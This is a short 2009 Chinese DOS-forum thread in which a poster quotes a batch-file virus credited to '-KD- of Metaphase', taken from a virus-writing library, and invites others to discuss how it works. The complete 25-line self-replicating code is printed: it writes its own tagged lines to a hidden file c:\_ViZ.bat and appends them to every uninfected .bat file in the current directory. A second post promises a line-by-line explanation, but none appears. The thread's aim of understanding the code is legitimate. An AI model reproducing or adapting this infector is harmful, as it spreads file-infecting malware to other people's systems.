中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-08-11 04:30
47,811 主题排行 / 349,897 发帖 / 今日 0 篇 / 48,256 会员排行
DOS批处理 & 脚本技术(批处理室) » [讨论]knowdeth的一段代码:感染当前目录下所有bat文件
可打印版本  863 / 1
第1楼 lhjoanna 发表于 2009-01-09 03:38
新手上路 发帖 3 积分 10
[讨论]knowdeth的一段代码:感染当前目录下所有bat文件
从网上看到的knowdeth的一段代码,其中有一些代码还理解不是很透彻,欢迎大家一起来讨论下啊。源程序地址:http://vx.netlux.org/lib/vkd01.html

1| :: by -KD- of Metaphase
2| @echo off%_ViZ%
3| if '%1=='ViZ goto ViZ%2
4| if exist c:\_ViZ.bat goto ViZstart
5| if not exist %0.bat goto ViZexit
6| find "ViZ"<%0.bat>c:\_ViZ.bat
7| attrib c:\_ViZ.bat +h
8| :ViZstart
9| if '%!ViZ%=='- goto ViZexit
10| set !ViZ=%!ViZ%-
11| command /e:5000 /c c:\_ViZ ViZ v
12| :DaViZ
13| goto ViZexit
14| :ViZv
15| for %%a in (*.bat) do call c:\_ViZ ViZ inf %%a
16| exit ViZ
17| :ViZ_inf
18| find "ViZ"<%3>nul
19| if not errorlevel 1 goto ViZlevel
20| type c:\_ViZ.bat>>%3
21| exit ViZ
22| :ViZlevel
23| set ViZ!=%ViZ!%-
24| if %ViZ!%==- exit
25| :ViZexit
第2楼 lhjoanna 发表于 2009-01-09 03:39
新手上路 发帖 3 积分 10
我会一行一行写出自己的理解,大家一起来讨论下。
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023